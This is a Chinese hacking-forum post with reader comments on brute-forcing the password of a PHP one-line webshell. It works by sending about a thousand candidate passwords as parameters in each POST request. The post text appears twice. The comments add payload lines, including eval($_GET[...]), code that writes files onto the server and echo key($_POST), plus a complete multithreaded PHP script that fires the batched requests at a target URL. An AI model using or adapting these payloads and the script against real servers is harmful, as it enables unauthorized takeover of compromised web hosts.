让你的一句话爆破速度提升千倍
TCV=0
【序】
对于一句话大家都不陌生,有时会需要爆破。爆破的速度和目标的响应速度就有很大的关系了。
那如果我们爆破的速度可以提升1000倍呢?
【正文】
首先如图1↓
如果这个变量等于密码的时候,我们的语句就会被传参带入执行,那如果我们批量提交(即a=echo "ok";&b=echo "ok";&c=echo "ok";&....)呢?
只要我们提交的参数中含有实际的参数,就可被接收。
但是会有一定的限制↓
Apache下 默认同时允许接收1000个参数 图4
IIS下 默认同时允许接收5883个参数 图2 图3
注:可在配置文件中修改,以上情况是默认。
那就是说我们爆破的速度可以提升一千倍甚至五千多倍。从而实现秒爆10W字典甚至百万字典。
【个人实现原理】
花了几个小时写了个工具,
例如Apache环境↓
1.导入10W字典后按照数量1000分割
这样如果密码存在于字典,100次即可探测到密码实际存在的位置
2.文本处理(密码定位)
把密码的位置 100行字典,循环判断首或单纯的循环 不到10次即可得到密码
所以10W的字典,实际最大提交理论上不会超过110次即可得到和跑10W次一样的效果。
那么IIS下速度就更快了,速度是Apache的五倍左右。
10W字典本地测试
10W字典远程服务器测试
工具没多少技术含量,所以不发出来了。
1.未完善(有空增加各种搭建平台)
2.有了思路写起来很简单。
好了,汇报结束。
【序】
对于一句话大家都不陌生,有时会需要爆破。爆破的速度和目标的响应速度就有很大的关系了。
那如果我们爆破的速度可以提升1000倍呢?
【正文】
首先如图1↓
变量=echo "ok";
只要我们提交的参数中含有实际的参数,就可被接收。
但是会有一定的限制↓
Apache下 默认同时允许接收1000个参数 图4
IIS下 默认同时允许接收5883个参数 图2 图3
注:可在配置文件中修改,以上情况是默认。
那就是说我们爆破的速度可以提升一千倍甚至五千多倍。从而实现秒爆10W字典甚至百万字典。
【个人实现原理】
花了几个小时写了个工具,
例如Apache环境↓
1.导入10W字典后按照数量1000分割
这样如果密码存在于字典,100次即可探测到密码实际存在的位置
2.文本处理(密码定位)
把密码的位置 100行字典,循环判断首或单纯的循环 不到10次即可得到密码
所以10W的字典,实际最大提交理论上不会超过110次即可得到和跑10W次一样的效果。
那么IIS下速度就更快了,速度是Apache的五倍左右。
10W字典本地测试
10W字典远程服务器测试
工具没多少技术含量,所以不发出来了。
1.未完善(有空增加各种搭建平台)
2.有了思路写起来很简单。
好了,汇报结束。
评论92次
思路很不错,值得学xi,稍后自己写个工具尝试一下
思路很好,可惜工具不能分享一下。。。
a=echo "ok";&b=echo "ok";&c=echo "ok"这样的话,那就是都输出ok了。咋知道到底是哪个输出的ok?是不是要把输出的内容都改下,这样比较好容易找到成功的密码?另外,求工具
别都输出一样的啊,1-1000个数字
超级厉害,感谢分享,论坛有你更精彩
思路真的非常棒
每次都要盯着你头像看个分把钟
速度还可以更快,分成1000份后,如果存在正确的密码的话代码就会被执行,所以换个思路,为什么要用echo 'ok';呢?换个思路,file_put_contents('./1.txt','shell'); or echo file_get_contenst('./shell.php') 岂不是省去了密码定位这个步骤么。考虑到这样发的话post内容就会变多,导致速度可能会变慢可以试试这样http://localhost/shell.php?a=print(file_get_contents('./shell.php'));posta=eval($_GET);&b=eval($_GET);&.....
因为要考虑大多数的场景,echo算是权限及影响最小化的操作了,
速度还可以更快,分成1000份后,如果存在正确的密码的话代码就会被执行,所以换个思路,为什么要用echo 'ok';呢?换个思路,file_put_contents('./1.txt','shell'); or echo file_get_contenst('./shell.php') 岂不是省去了密码定位这个步骤么。 考虑到这样发的话post内容就会变多,导致速度可能会变慢可以试试这样 http://localhost/shell.php?a=print(file_get_contents('./shell.php')); post a=eval($_GET['a']);&b=eval($_GET['a']);&.....
post内容:参数=print_r($_POST[参数]); 直接将当前的参数输出来。
思路真的非常棒
@接地气 思路猥琐 速度快了 请求少了 还避免触发waf看了下lz的流程是10w字典分割 共100组 每组1000行字典,这里可以100次请求内 确定密码所在的组,然后循环跑该组得到正确密码?彩笔不会写工具 想着如何提前处理好字典 直接请求100次得到密码思路这样 例如php 一句话echo (key($_POST)); 打印post参数字典处理成这样pass=echo (key($_POST));&pass2=echo (key($_POST));&pass3=echo (key($_POST));&pass4=echo (key($_POST));&pass5=echo (key($_POST));&pass6=echo (key($_POST));1000行密码一组 不换行 放txt里100行 burp加载lz可以使用这个改进 直接跑出密码 能不能伸手求工具 还是工具方便
是的几次提交就可以确定密码所在的组,这个组内有1000个密码,然后程序再次折半分割,变成500+500两组,确定了组之后再次折半分割就成了250+250 ....提交几次后就可将密码定位了。
二分法浪费时间了感觉 直接输出不好吗
@接地气 思路猥琐 速度快了 请求少了 还避免触发waf看了下lz的流程是10w字典分割 共100组 每组1000行字典,这里可以100次请求内 确定密码所在的组,然后循环跑该组得到正确密码?彩笔不会写工具 想着如何提前处理好字典 直接请求100次得到密码思路这样 例如php 一句话echo (key($_POST)); 打印post参数字典处理成这样pass=echo (key($_POST));&pass2=echo (key($_POST));&pass3=echo (key($_POST));&pass4=echo (key($_POST));&pass5=echo (key($_POST));&pass6=echo (key($_POST));1000行密码一组 不换行 放txt里100行 burp加载lz可以使用这个改进 直接跑出密码 能不能伸手求工具 还是工具方便
是的 几次提交就可以确定密码所在的组,这个组内有1000个密码,然后程序再次折半分割,变成500+500两组,确定了组之后再次折半分割就成了250+250 ....提交几次后就可将密码定位了。
另辟蹊径呀 楼主太牛了
主要是一句话太难遇到,思路还是很不错的
方法很赞
这个思路一一直用来测试马被没被拦截没想到还能用来爆破有趣
这个思路还是挺赞的 确实效率提升了很多
可是,怎么知道一句话在哪个路径呢?
思维突破天际。来自外星的你。
随手拿硬盘里面的代码复制粘贴 改了一下 感觉还可以用hashcat的example.dict字典 12w 只用了0.7秒
<?php //error_reporting(0); //不显示错误 $stime=microtime(true); ini_set('memory_limit',-1); //内存设置最高 require("RollingCurl.php"); //载入多线程类 function request_callback($response) { if(!strpos($response,'OK')){ echo $response; } } function get_s($pass, $server = 'iis') { if ($server == 'iis') { $num = 1000; } else { $num = 5000; } $a1 = explode("\n", $pass); $bb = ''; for ($i = 0; $i <= count($a1) - 1; $i++) { $bb .= "echo \"OK-{$i}-$a1[$i]\";" . "\n"; } $b1 = explode("\n", $bb); array_pop($b1); return array_chunk(array_combine($a1, $b1), $num, true); } $rc = new RollingCurl("request_callback"); $threads=10; //线程 $timeout=100; //设置超时 $rc = new RollingCurl("request_callback"); $rc->window_size = $threads; //设置线程 $rc->timeout = $timeout; //设置超时 $method='POST'; $pass=file_get_contents('example.dict'); $o=get_s($pass); for($i=0;$i<=count($o)-1;$i++){ $url=$argv[1]; $data_1=http_build_query($o[$i]); $request = new RollingCurlRequest($url,$method); //CURLOPT_FOLLOWLOCATION=>1 自动跳转 为0 不跳转 $request->options = array(CURLOPT_FOLLOWLOCATION => 0, CURLOPT_NOBODY => 0, CURLOPT_HEADER => 0, CURLOPT_COOKIE => "PHPSESSID=8058685_7ee0852a467e76eba1044bcca08fb68a;", CURLOPT_POSTFIELDS => $data_1 ); $rc->add($request); } $rc->execute(); $etime=microtime(true);//获取程序执行结束的时间 $total=$etime-$stime; echo "\r\n".$total; ?>
底气哥,我记得以前就有啦,配合二分法速度很快